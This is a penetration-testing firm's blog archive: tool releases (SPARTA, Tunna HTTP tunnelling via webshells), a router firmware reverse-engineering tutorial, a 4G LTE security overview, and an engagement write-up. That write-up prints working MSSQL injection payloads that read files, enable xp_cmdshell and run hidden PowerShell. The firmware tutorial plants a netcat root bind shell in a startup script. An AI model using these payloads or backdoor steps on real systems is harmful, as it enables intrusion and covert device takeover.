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Archive for the ‘Penetration Testing’ Category

SPARTA 1.0 BETA released

Monday, January 5th, 2015

SPARTA is a python GUI application which simplifies network infrastructure penetration testing by aiding the penetration tester in the scanning and enumeration phase. It allows the tester to save time by having point-and-click access to his/her toolkit and by displaying all tool output in a convenient way. If little time is spent setting up commands and tools, more time can be spent focusing on analysing results.


SPARTA tries to simplify the way you run tools and centralises their outputs, displaying them in a meaningful way:


Apart from running tools across several hosts with a single click, you can also define automated tasks for services (ie: run Nikto on every HTTP service as soon as it is found) and have SPARTA do all the work for you:



– Run nmap from SPARTA or import nmap XML output.

– Transparent staged nmap: get results quickly and achieve thorough coverage.

– Configurable context menu for each service. You can configure what to run on discovered services. Any tool that can be run from a terminal, can be run from SPARTA.

– You can run any script or tool on a service across all the hosts in scope, just with a click of the mouse.

– Define automated tasks for services (ie. Run nikto on every HTTP service, or sslscan on every ssl service).

– Default credentials check for most common services. Of course, this can also be configured to run automatically.

– Identify password reuse on the tested infrastructure. If any usernames/passwords are found by Hydra they are stored in internal wordlists which can then be used on other targets in the same network (breaking news: sysadmins reuse passwords).

– Ability to mark hosts that you have already worked on so that you don’t waste time looking at them again.

– Website screenshot taker so that you don’t waste time on less interesting web servers.


For more information and to download SPARTA, go to:

Tunna v1.1a SOCKS!

Monday, November 24th, 2014

Tunna is a set of tools which will wrap and tunnel any TCP communication over HTTP.

Due to popular demand, in this new version, Tunna (v1.1a) can be set up to be a local SOCKS proxy, that will accept any TCP traffic and send over to the webserver using HTTP requests. The traffic will be unwrapped at the server and forwarded to the specified address/port. Tunna effectively pivots connections through a webserver; thus bypassing firewall restrictions.


Secondary functionality added in the new version:

  • Tunna is now able to connect to the local proxy (if exists) and through the internal proxy, then tunnel the connection to the webserver.
  • A standalone Tunna webserver has been added for situations were a webserver is not available.
  • Windows compiled binaries for both “Tunna Client” and “Tunna webserver” have been added.
  • Ping delay increases (up to 60 sec) whenever data is not received. This minimises network traffic to the webserver with a small hit on waiting time that should be unnoticeable.

Tunna v1.1a Changelog:

  • Added SOCKS4a support
  • Tunna webserver
  • Windows binaries
  • Support for UpStream Proxy
  • Removed Ruby version of Client


  • python -u <remoteurl> -l 8000

This will set up Tunna and start a SOCKS4a proxy server on port 8000


SOCKS Operation Details:



Local ports are “mapped” to remote ports. For this, a header is added in every HTTP packet sent to/from the webserver that shows the originating/remote port. Once the packet is received, the header port is read and the rest of the data gets redirected to the correct port on the local side.


The SOCKS server is a simple implementation based on SOCKS protocol version 4 RFC. Currently “SOCKS BIND” method is not supported and protocols such as FTP cannot be used.


Bypassing Firewall restrictions:

Tunna SSH


Inbound restrictions:

As in the previous version if inbound HTTP traffic is allowed a webshell or Tunna webserver can be used to pivot connections.

For example, an external user can upload a Tunna webshell (or use Tunna webserver) on a remote webserver and request a service on the local host or any other host that will normally be blocked by the firewall. The request will be forwarded to the webserver in the form of an HTTP request (must be allowed by the firewall). The webserver is going to establish the connection for the user and redirect all traffic to that service. Response data will be transferred back to Tunna’s client in the form of HTTP responses.

Outbound restrictions:

Tunna can be used in situations where the firewall restricts access to certain hosts or services.

A user controlled Tunna webserver is needed as well as HTTP access to the remote webserver.

For example, an internal user can set Tunna (client) as his system’s proxy and request any website/service that is blocked. The request will be forwarded to the webserver in the form of an HTTP request. The webserver will establish the connection to the requested service and redirect all traffic to that service. Response data will be transferred back to Tunna’s Client in the form of HTTP responses.


Up-stream proxy:

In many companies, internal connections to the internet go via an internal proxy that restricts access to certain services or websites. Tunna can be configured to use that proxy for requests to Tunna’s webserver.
Tunna will get the proxy settings from the system (internet) options and use them for all requests. If this is not possible, then the proxy parameters can be set up as an argument (currently DIGEST and BASIC authentications are supported)


Tunna webserver:

This is a python standalone webserver for Tunna. The functionality is the same as a webserver that has a Tunna webshell.


  • python -r

Will start a Tunna webserver listening on port 8000

Append –ssl to add SSL support (https)*

* In Windows (webserver.exe) the certificate file (certificate.pem) needs to be present in the same folder as the executable


Tunna SOCKS webshells:

For Tunna to be used as a SOCKS server when webshells are used, an executable that will handle the SOCKS traffic will be uploaded to the remote webserver and executed.



As well as Tunna generating a massive overhead for every TCP packet, theconnections are tunnelled through a single channel using HTTP requests. Consequently, large amounts of traffic translate to large amounts of HTTP requests. When a Tunna webshell is used, then this can lead to a Denial of Service condition where the webserver will not be able to cope with all the requests.The standalone Tunna webserver is significantly less prone to DOS.

Some functionality is still experimental; therefore it is recommended that Tunna webshells are not to be used as a permanent solution.

Although the mechanisms for clean-up and graceful shutdown are in place, in certain situations,when a Tunna webshell is used andthe “SOCKS Server” executable is not properly stopped and/or removed from the disk; then it will require a manual clean-up.


Presentation: Tunna Presentation.pdf

Download: SECFORCE::Tunna


Reverse Engineer Router Firmware – Part 2

Wednesday, July 2nd, 2014

This part of the tutorial will focus on how to inspect all the different executables that you may find within the firmware using emulation software QEMU and then how to modify the firmware to get a root shell on the router. If you have not already done the first tutorial you can find it here

The reason QEMU is so useful is it allows us to try and see/understand what each executable within the firmware does without running it directly on the device. Naturally some of the executables may not work as expected due to certain files etc not existing outside of the device however many executables will still allow you to check their help menu and usage helping you gain a better understanding of what it might be used for. If you do not already have QEMU installed you can download it here.

In terms of getting a root shell on the router, the method that will be used in this tutorial is NOT an exploit, it is merely a modification of the firmware itself which on being loaded into the router will give you a shell. However it is worth noting that this doesn’t mean that it isn’t dangerous. If someone has the router administration page available over the internet and you know the credentials (or they are default) this modification will give you full control over the remote device. Even if it is a device on a local network, providing you have access you can make these modifications and the users would be none the wiser.


You will need the following things for this tutorial:

Before beginning ensure you have the aforementioned prerequisites, QEMU will take a while to compile so during this time it would be worth finding out the necessary information you will need to for the emulation. The most important piece of information we need to know is what architecture the embedded system is running e.g. is it running ARM or perhaps MIPS? An easy way to find out is to use the file command (detailed in the previous tutorial) to find out as in majority of cases it will reveal the architecture without you having to dig too much further.




As you can see from the screenshot above, using file shows that the architecture the router we are analysing is running is MIPS 32 bit. The reason we need to know this is that as you will see later on, when we go to use QEMU with the MIPS executables, we need to choose an architecture specific QEMU executable to emulate them.

Running MIPS Executables

This is where QEMU comes in, after the lengthy compilation (providing nothing went wrong) you should now be able to copy the relevant QEMU executable to the folder where your MIPS executables are stored to allow you to run them. If you have been using the FMK to extract the firmware then you will find the root file system within the /fmk/rootfs folder of the FMK installation directory. Once you have navigated to this folder you will need to copy the QEMU executable mentioned previously over to the folder. The easiest way to do so is to run the following command:




After running this command you should find that the qemu-mips executable has appeared within the folder. We can now use this executable to start inspecting the different executables we have extracted. The screenshot below shows both the command that needs to be run as well as the expected result. In this case I have attempted to see the help and usage of Busybox. Busybox is a commonly used executable that is a collection of linked tools that can be compiled to include many or very few tools depending on both the functional requirements as well as restrictions in space on the device it is being compiled for. I chose to inspect this straight away to see what kind of tools would be available to us if we managed to get access to the device. Also you may note that I am using chroot as part of the command. This is because naturally some executables will try and check /lib or /bin for any necessary modules it needs to run, however if we don’t use chroot it will attempt to check the actual operating systems /lib rather than the /lib contained within the rootfs folder we discussed earlier. If you would like to know more about why chroot is used you can find a more detailed description here

On running the Busybox executable you should be presented with the help menu seen below:




If you get an error trying to run this, try using chmod +x on the file to make sure it is executable and then re run the command.

What we want to look for is any tool that could be ran to give us a shell on the box e.g. Telnet, Netcat etc however as we can see there doesn’t appear to be anything of use on the Busybox included on the device. Whilst annoying, this isn’t the end of the world as fortunately this router allows us to upgrade the on-board firmware through the router administration page. So all we need to do is make the necessary changes we need to make to start a service listening and then upgrade the routers firmware with our own newly made custom image. As already mentioned we will not be able to use the current Busybox executable to get a shell however as we already know Busybox can be compiled to include a lot more tools including Netcat. For the sake of this tutorial I will be downloading the full featured version from the site (link can be found in prerequisites) and replacing the originally version with it.

This is by no means the best method as it will require me to delete files from the device to prevent critical memory being overwritten during the upgrade (due to the new firmware size being bigger than the original). In this case I can just delete the help files found in /web which form part of the router administration site however an actual attacker would look to compile their own customised Busybox which includes everything the original did with a select few extras. This would prevent noticeable errors occurring when the legitimate user is using the router admin site.

After you have replaced the original Busybox with the new one, run it again with QEMU and you will see why we have replaced it.


 As you can see there is a lot more tools at our disposal however the one that interests us most is nc (Netcat).

Getting a Root Shell

Now for the most interesting part of the tutorial and the part i’m sure you were looking forward to, this is where we will get a root shell on the router itself giving us full control over the device.

I’d just like to reiterate that this is not an exploit per se as it does not take advantage of any buffer overflows or authentication bypasses etc however it is abusing the fact that the router trusts that whatever firmware you go to upgrade it with is completely legitimate. This method can only be used if you have local access to the device or if the owner (for some strange reason) has made the router admin pages available over the internet and if you know the credentials (if they are not the default admin/admin).

First of all providing you have been following the tutorial, you should now have a rootfs folder containing the original firmware files with the exception of your custom Busybox binary. The next step is to see if there’s a way we can tell the router to start nc for us everytime the router is turned on. The first thing to look for is any startup scripts that the router is using (which you will most likely find). Normally the startup scripts can be found in the /etc/rc.d/ folder (the script itself being however if this is not there you can either manually go through each .sh file or you can use the quicker method of using the find command to look for any files ending in .sh.

On locating the script you can now insert your line of code to start nc , it is however a good idea to try and understand what the startup script is doing to ensure you don’t accidentally interupt a critical process. You can place pretty much any code you like here in terms of starting processes so for example on another router you could start your own ftp service running or perhaps a telnet service. In this case we will be adding the following code for a listening nc and attaching the shell process to it:



Basically what this code will do is tell the system to start the nc tool from Busybox listening on port 4444 and to attach the sh shell to it. The ampersand is to ensure it runs in the background ensuring it doesn’t prevent the instructions following it from running.

Once you have modified the script it is time to rebuild the firmware! This is made very simple by the Firmware Modification Kit due to it’s build-firmware script. Note this only works if you extracted the firmware using the extract-firmware script. Providing that the firmware image is the same size or less as the original, the firmware build should be successful. If not ensure you have removed the qemu-mips executable from the rootfs folder!

Now you should be able to see a new-firmware.bin file within the /fmk/fmk folder (one down from rootfs). This is the file that you will need to choose when upgrading through the router admin page.

All that’s left now is to wait for the router to install the firmware, reboot and then see if the command you put in the startup script worked. If you try and netcat to the port you set netcat to listen to, if it connects successfully, send it a system command to ensure it has attached to the shell correctly:


Eureka it works! now for the moment of truth lets see if we are root…


Congratulations it worked! The reason that we are root already without any escalation is because when the startup script is ran, the instructions in it required it to be ran as root, so naturally the nc shell command we added was also ran with root privileges.

So now you know a basic method to get a root shell on a router! whilst this exact way will not work on all routers, the methodology can still be applied to get similar if not the same results.


Meet us in Brussels!

Wednesday, April 16th, 2014

We are liaising with UK Trade & Investment and the British Embassy in Brussels to deliver a seminar about “How Exposed are we to the Cyber Threat?” on Thursday 24 April

We will be talking about penetration testing and delivering a demo about the Heartbleed vulnerability. The purpose of the seminar is to inform Professional Service Providers about the potential threats of cyber attacks, providing clear information about the key strategies to minimize the risk of an unauthorised compromise.

To register, visit the following link:

Reverse Engineer Router Firmware – Part 1

Thursday, April 3rd, 2014

This series will follow the process of reverse engineering router firmware with the purpose of discovering any vulnerabilities that could be used either remotely or locally to compromise the router. In this section I will mainly be covering how to extract/download the firmware alongside a very basic way to get a root shell on the firmware in this tutorial.

Firstly the firmware being analysed in this tutorial can be found here (for v8 of the TP-Link WR841N). In some cases, the firmware for your device of choice can be found by using your preferred search engine due to a lot of manufacturers making the firmware freely available for download, however due to the growing interest in the exploitation of embedded devices, it is becoming common practice to only have the firmware accessible by accessing the device physically i.e.. using a serial port or by manually dumping the flash memory.

General Linux RE Tools

  •  file – To determine if it is a valid file/file type.
  •  hexdump – a hex dump naturally.
  •  strings – similar to hexdump however presented in a readable format if possible.
  •  dd – To scrape data out of the bin file
  •  lzma – to decompress any LZMA files

3rd Party Tools

  • binwalk – to analyse the file for firmware headers and file systems.
  • Firmware Mod Kit – Bundle of scripts to automate the extraction process.
  • squashfs-tools – Can apt-get squashfs-tools for this. Bundle of tools to enable you to play with the squashfs in this tutorial

Initial Analysis

Generally the normal start to reverse engineering is to dump as much information on the file you can get using the standard Linux tools listed above. This should give enough information to determine where to go next for example in the hexdump you may find sqsh meaning that there is a squashfs on the file or perhaps spot U-Boot which is a well documented boot loader used frequently within firmware packages.

File Tool

The file tool essentially just tells us whether or not the file is a known file type and in some cases what kind of file it is e.g. data file.

You should see something similar to this:


Which will confirm whether it is a readable/known file type or whether further investigation is needed. In this case we can see that it is (naturally) a data file.


The hexdump tool is invaluable as it allows you to inspect the dump for any key phrases or words that can tell you what kind of system you are reversing as previously mentioned. The hexdump for this file should look like this:


The command above will pipe the results of the hexdump into a file (hexTP.txt) for further analysis. The -C sets hexdump to format the dump in Canonical hex+ASCII display making it easier to read. In this case we don’t gain all that much from the hexdump other than the manufacturer being TP-Link (which we already know) so the next step would be to try running strings on the .bin file to see if it gives us a more informative result.


Strings is probably the most used and one of the best tools to start with as it displays all the printable data within the file. This can allow you to analyse the header of the file etc. Like we did with the hexdump, it is worthwhile piping the result of strings into a file for your own convenience to save having to re run strings every time you want to check something.

We find a few interesting phrases within the strings results:



This was done just by opening the strings result file we found and searching for common boot loader names of file system names e.g. U-boot. This could also be done by grepping the file should you prefer. Now we know that the embedded device is using the U-boot boot loader and the version meaning that we can look up the documentation for it to gain a better understanding of the how the embedded device is designed.


Binwalk is a valuable tool to have considering it will scrape the bin file for any firmware headers or file systems that it may contain and then show you the offset of each of these sections should you wish to dd them. The binwalk output should produce:


Which gives us a wealth of information relating to the firmwares structure, from the boot loader it is using to the file system type. From these results we know that the firmware runs a Linux system on MIPS architecture, with a Squashfs file system that has been compressed using LZMA. It also confirms that the boot loader is indeed U-Boot as found in the strings results.

Extracting the Filesystem

Now comes the interesting section where we get to extract the contents of the file system held in the firmware image. With it being a Linux system it is safe to assume that the file system should contain the standard linux default folders where we could find some sensitive information e.g. the passwd or shadow file.

One of the ways that a lot of people will extract the FS is by using dd. However for the sake of time and ease, there are two main ways I would recommend for extraction.

The first is to use the -e parameter of binwalk which will automatically extract everything from the firmware image for you.

user@host$ binwalk -e <input file>

The second, and more efficient way of extracting is to use the script that can be found in the Firmware Modification Kit. The reason for this is due to the fact that should you wish to modify the firmware and repack it, you can use the other script to do so. It saves a lot of time than manually extracting and handles all the offsets etc for you. The extract script will create a new set of folders within the fmk directory whereby you can find all the contents of the file system, the path should be /fmk/rootfs.


Coming Soon…

In the next part I will show you how to emulate the router architecture so you can try and run files that you extracted from the file system as well as how to get a root shell on the router!


Sparta – a Network Infrastructure Penetration Testing Tool

Tuesday, March 25th, 2014

What is it?

It is a known fact that all hackers like terminals but most (good) hackers also like efficiency and automating repetitive tasks. This is where SPARTA comes in.

SPARTA is a python GUI application which simplifies network infrastructure penetration testing by aiding the penetration tester in the scanning and enumeration phase. It allows the tester to save time by having point-and-click access to his toolkit and by displaying all tool output in a convenient way. If little time is spent setting up commands and tools, more time can be spent focusing on analysing results.

Have a look:

What are the goals?

– One of the most important goals of the project is the ability to fully customise what tools/commands you run from SPARTA. Every penetration tester has his/her own methods and toolkit and we do not want to change that. SPARTA tries to simplify the way you run tools and centralises their outputs, displaying them in a meaningful way.
– Automation of repetitive tasks is a must. You will always need to check for default credentials. You will always need to enumerate users. You always run certain tools when you find certain services. You can now perform these actions (on several hosts) in one click.

Any cool features?

– Nmap XML output importer
– Any tool that can be run from a terminal, can be run from SPARTA
– Default credentials check for most common services
– If any usernames/passwords are found by Hydra they are stored in internal wordlists which can then be used on other targets in the same network (breaking news: people reuse passwords)
– Ability to mark hosts that you have already worked on so that you don’t waste time looking at them again
– Screenshot taker so that you don’t waste time on less interesting web servers

What are the requirements?

– A Linux OS preferably Kali Linux as all the tools are already there
– A few extra python libraries

This project is very much a work in progress but hopefully the first release will be out in a few months. So stay tuned! 🙂

SECFORCE will be presenting at OWASP

Monday, March 17th, 2014

SECFORCE will present Tunna framework and a number of techniques penetration testers can benefit from to bypass network firewalls.

The presentation will include common scenarios in which HTTP tunnels can be use to bridge the gap between web application testing and infrastructure testing.

Please find information about the conference here.

4G LTE: Architecture and Security Concerns

Thursday, March 6th, 2014

4G is the fourth generation of mobile communication standards and it is very well underway to succeed the 3G technology and offer broadband performance, voice-video multimedia applications, significant increases in data rates and even better security(?).

The main difference about 4G wireless networks is that they operate entirely on TCP/IP architecture. Only packet-switched communication is supported for improved performance and all signaling and control network protocols are IP-based, thus, making the standard cost-effective and compatible across heterogeneous technologies.

The Architecture on a high-level:

The components:


The eNodeB (eNB) is the only network element in LTE with the task of establishing radio communication with the User Equipment (UE – a 4G capable mobile device) and respectively with the EPC (MME, S-GW) over the transport layer. eNodeBs can be considered the equivalent of an enhanced Base Station. An alternative to the eNodeB, the HeNB (Femtocell) functions as a low-power base station which is owned by the network provider and is designed to provide coverage and capacity solutions in indoors spaces.


The MME (Mobile Management Entity) is a key element of LTE as far as control operations are concerned. The MME unit, similarly to the VLR in 3G, is responsible for signaling, tracking the location of idle UEs, user authentication and the selection of the most optimal S-GW for the UE based on network topology and the location of the UE within the network.

The HSS (Home Subscriber Service) is a component of the UE’s home network and, very much like the Home location register (HLR) in 3G, works as a central database containing subscription-related information, service and mobility data. Moreover, it keeps track of the user’s current MME address and holds pre-shared key material used to generate session authentication data which serves authentication purposes. The authentication method in LTE is again a challenge-response protocol which is completed between the UE and the MME based on the information that the HSS has generated and provided.

The main responsibility of the S-GW is to relay data between the eNodeB and the PDN gateway. S-GW acts as a router. Among others, the serving gateway will handle the redirection of data flow to a new eNodeB in case of a handover.

The PDN communicates user data to and from external data networks (service operator’s wireline network, Internet) and as a result, operates very similarly to the GPRS support node (GGSN) in UMTS and GSM. In other words, it allows the UE to communicate with entities outside the service provider’s main IP network. The most important functions of this LTE component are as follow: IP allocation to the UE, maintaining connection the network while moving from one place to another, billing – charging support, Quality-of-service (QoS) functions, packet filtering.

The Policy and Charging Rule Function (PCRF) is a software node which is responsible for policy enforcement, as well as for controlling the flow-based charging functionalities which reside in the P-GW. The PCRF will provide QoS information to the PDN, determine charging policy for data packets and dynamically manage data sessions.

Many of the new features work as improvements compared to 4G’s predecessors and one can identify many advantages in terms of performance, speed and security (higher-strength encryption, IP based configuration as opposed to 3G radio, etc.)

However, the question remains; how well are we prepared for this new wave of technology, how ahead and to what extent have we planned for this?


Location Tracking

One of the most important requirements of LTE is seamless mobility support across eNBs. Handovers are to be handled fast and transparently without causing any disruption to the communication flow.
When our UE currently associated with eNB1 moves closer to the coverage area of eNB2, the former sends coupling information to the latter. Then, eNB1 commands the UE to change the radio bearer to eNB2 and for that purpose forwards the handover command which contains connection specific information (C-RNTI, RACH Random Access Channel preamble, expiry date). The handover is complete after the UE forwards the identifier C-RNTI to the new eNB (like an ACK/confirmation message) and the eNB2 notifies the MME of the handover.
The UE sends this temporary identifier (C-RNTI) optionally in cleartext making it possible for a passive attacker to determine whether the UE has moved to a different cell. Having said that, an attacker is able to link the new and the old C-RNTIs and eventually track the UE over different cells.


When a femtocell provides better signal over a regular tower it is preferred by nearby UE devices. The problem is that connection to a femtocell can be transparent, meaning that a user does not often know he is connected to one, therefore, enabling an attacker who controls a tampered device to intercept user data in transit. Latest demonstrations of compromised and enhanced in power femtocell units show that this concern is not unfounded at all, as an attacker suitably positioned in crowded, public spaces could potentially track the activities of all nearby 4G devices.

Open Architecture

The 4g LTE network is an all-IP network with millions of very diverse components. Additionally, its development is coupled with a necessity for moving from the older, proprietary operating systems for handheld devices to open, standardized ones. Since all these devices will be operating on the network layer they become dynamically susceptible to all the existing attack techniques and methods present on the Internet (or any other IP based network) today. For instance, downloading malicious content can now affect the network on a larger scale and to a greater extent. This might signify a shift of security concerns towards the end user’s technology (smartphones, laptops, dongles etc.) rather than the network protocols in place.

It is also very likely that new issues will arise or become more common due to the untried nature of the 4G standard. For example, instances of attacks associated with VoIP (DoS, SPIT spam over Internet Telephony, Voice Service Theft, Registration Hijacking) are likely to increase exponentially due to the immense expansion of the attack surface. Finally, an availability concern is how the newly introduced encryption schemes will affect the performance of this IP-based infrastructure.

Other 4G related attacks can be found in academic literature:
–    Scrambling – Interference attacks
–    Denial of Service – Bandwidth stealing attacks

Finally, we need to keep in mind that as 4G LTE is not backwards compatible with 3G and, therefore, there is no fallback position in this case. Consequently, it becomes clear that security is of paramount importance to its success.

From CVS import to cmd.exe – via SQL injection

Tuesday, February 18th, 2014

This blog post explains the process that we followed in a recent penetration test to gain command execution from a CVS import feature. One of the most challenging issues was that we had to escape commas during the SQL injection attack, as it would break the CVS structure.


  • Application imports entries from file (CVS, Excel, etc) to the database
  • Typically the parsers used for this importation read every entry “as is” in the file.
  • In the case of CVS, documents entries are separated by a delimiter character (typically comma).

More often than not entries read from files do not go through the same sanitisation and validation functions as web application requests.

Example of a CVS entry:

Number,Name,Surname,Something,SomethingElse,Email Address,SQLInjectable,Whatever


In this case, the parser expected some entries to be of a specific type; thus some entries were populated with expected types to bypass this restriction.

Attack Steps:

SQL vulnerability identification:

A SQL injection issue was identified when a crafted file was uploaded to the web application.

– The following file was sent:

Number,Name,Surname,Something,SomethingElse,Email Address,SQLInjectable,Whatever

 – Result:

Unclosed quotation mark after the character string ”.

This is a SQL error! – let’s start early celebrations!


– File sent:

Number,Name,Surname,Something,SomethingElse,Email Address,SQLInjectable,Whatever
1,SEC,FORCE,,,,1’+char((SELECT @@version))+’1,

 – Result:

Conversion failed when converting the nvarchar value ‘Microsoft SQL Server 2008 R2 (RTM) – 10.50.1617.0 (Intel X86)
Apr 22 2011 11:57:00
Copyright (c) Microsoft Corporation
Express Edition with Advanced Services on Windows NT 6.1 <X86> (Build 7601: Service Pack 1)
‘ to data type int.

This is definitely working! – celebrations continue …

– Spoilers:

Only SQL errors were returned to the user. If the statement had no errors it just displayed importation failed/completed.
Moreover the importation was a two step process – not easily automated with sqlmap and time was running out.

I’ll spare you the rest of the details of this step – Info gathered: database version and database user (dbo)

Escalation – Reading local files:

In MSSQL the file must be imported into a table and read from there.

* Alternatively OPENROWSET can be used instead of BULK INSERT.

– File Sent:

– Copy the contents into our table:

Number,Name,Surname,Something,SomethingElse,Email Address,SQLInjectable,Whatever
1,SEC,FORCE,,,,1‘;drop table SecforceTBL;CREATE TABLE SecforceTBL (line varchar(MAX));BULK INSERT SecforceTBL FROM ‘c:\windows\win.ini’ WITH (ROWTERMINATOR = ‘\ 0’);– ,

– Reading the contents back:

1,SEC,FORCE,,,,1’+char((SELECT TOP 1 * FROM SecforceTBL))+’1 ,

ROWTERMINATOR is EOF (backslash 0) because life is too short to read a file line by line. The first CVS entry (SQL query) imports the whole file in one line.  The second entry triggered the error and returned the result

This worked for most files but then disaster! – … celebrated too soon!

The file was there but I couldn’t read it

“String or binary data would be truncated.”

* This was not because the row couldn’t hold the data (could be the case) but the SQL error string cannot be bigger than 4000 chars!

There is a workaround to this eventuality. It’s certainly not pretty, but it worked:

write output to file – read specific lines with powershell and write them to another file, then import it to the database:

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -command dir c:\ > c:\temp\1.tmp &&
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -command (Get-Content c:\temp\1.tmp)[0..10] > c:\temp\2.tmp

Or make a new table (SecforceTBL2) insert only 4000 chars into previous table (SecforceTBL) and trigger error as before – needs to use the comma bypass as above:

INSERT INTO SecforceTBL VALUES (SUBSTRING((select top 1 * from SecforceTBL),0,4000))

Escalation – Command execution through xp_cmdshell:

First of all, we verify whether xp_cmdshell is enabled.

[..]1’+char(( SELECT cast(value as varchar(1)) FROM sys.configurations WHERE name = ‘xp_cmdshell’ ))+’1
[..]1’+char(( SELECT cast(value_in_use as varchar(1)) FROM sys.configurations WHERE name = ‘xp_cmdshell’ ))+’1

In this case, xp_cmdshell was not enabled, so we had to enable it.

* Also try ‘show advanced options’ etc.

The application connected to the database as dbo, therefore  we should be able to enable it – easy!

EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;
EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE

Well not so fast… The comma in the SQL code shown above would naturally break the CVS parser. In order to escape the comma character, we need to declare a variable that will hold the SQL query string and execute with master..sp_executesql:

[…]1′; DECLARE @sql NVARCHAR(500); set @sql = ‘EXEC sp_configure ”xp_cmdshell” ‘+CHAR(44)+‘ 1’; exec master..sp_executesql @sql; RECONFIGURE ;–

After launching the requests shown above, the configuration showed ‘1’ but every command to connect to the outside fails (not even DNS). – ... never celebrate too early!

Command with 30 seconds delay:

[…]1′; exec master.dbo.xp_cmdshell ‘ping -n 1 -w 30000 > nul’ ;–

It took 30 Sec to reply – awesome!

but the box is completely firewalled – not awesome!

Escalation – write a webshell on the web server root:

Some command line fu and we can see the results of the commands (see reading files below):

[…]1′; exec master.dbo.xp_cmdshell ‘dir c:\ > c:\temp\1.tmp’ ;drop table SecforceTBL;CREATE TABLE SecforceTBL (line varchar(MAX));BULK INSERT SecforceTBL FROM ‘c:\temp\1.tmp’ WITH (ROWTERMINATOR = ”) ;–

[..]1’+char(( SELECT TOP 1 * FROM SecforceTBL ))+’1

Just a matter of finding the webserver root

List all drives command:

wmic logicaldisk get name

Read the IIS configs to find the server root.

In this case, we discovered that the database server was hosted in a different host and the web server was not accessible:


… and TIME was up!


Sanitise *ALL* input – In general all input should be treated the same way.

For the SQLi vulnerability the easiest fix would be to use parametrised queries, this would prevent SQL injection attacks without having to add an extra layer of sanitisation.

Lastly, having the database server in a DMZ zone and segregated from the web server prevented this attack from escalating any further.

Making Tunna (… or bypassing firewall restrictions with HTTP tunneling)

Friday, August 9th, 2013

A couple of months ago SECFORCE was set to create the ultimate webshell. The idea behind it was to include all the tools a pentester needs in one webshell and make our lifes easier by for example dropping a meterpreter shell on the remote webserver with as less user interaction as possible.

Soon it was apparent that it would be much “cooler” for the webshell to communicate with a meterpreter shell without the need for meterpreter to expose or bind an external port. The benefits of it are obvious – this would effectively bypass any firewall rules in place.

It was realised that this could be a nice tool on its own so the project was forked and development started. Some time later a set of webshells and the client proxies were created. The task was not as easy as it seems, mostly because it is hard to keep it simple and at the same time make the same code work across different languages. Still there are some “programming language” quirks that could not be bypassed or made transparent to the end user. Given the different technologies in play (web servers / web languages / client languages) and all the possible combinations it would be very hard to tackle some of the issues and make it seamless to the end user without loosing some of the tools flexibility. Having said that, Java proved to be the most problematic language of the whole bunch – this needs to be said. Java was eating bytes in large packets – reasons for this are still not obvious – making both debugging and optimisation a pain. Apart from that, the PHP webshell also works in a somehow different way where it stalls a thread on the remote server to keep the connection alive. However, the latter is seamless to the user.

Tunna Framework - Penetration Testing

Tunna Framework - Penetration Testing

What Tunna does is to open a TCP connection (socket) between the webserver (webshell) and a socket on the local machine (webserver). It is also possible to open a connection to any other machine but lets keep this example simple. The client also opens a local socket and starts listening for connections. When a connection is established on the local client any communication would be sent over to the webshell in an HTTP request. The webshell will extract the data and put write them its local socket (remote socket for the client). Now the problem with HTTP is that you cannot really have asynchronous responses. The easiest way to tackle this issue was to keep querying the webshell for data. This creates a lag but it is nothing a pentester cannot live with – at this point it must be noted once more that this is a tool “to get a remote meterpreter shell if the firewall is blocking external connections” and not for critical/real-time applications.

After that, we went back to the original idea and created the metasploit module. It is still under development and should be used with extreme caution. It is still recommended to upload a meterpreter shell and use Tunna main module to connect to it. The metasploit module can be summarised as a “half rewrite of the existing code to work with or around metasploit API” (mostly around). This means that “code hacks” were created as needed to make it work. To be architecturally correct with metasploit, the original idea was to create a new metasploit “handler” … however, this proved to be harder than expected and what you get is a bastardisation of handler-exploit … but it works.

Lastly, any comments, bugs or improvement ideas are welcome.

For more information, visit our Tunna Framework page.

Download: Tunna v0.1



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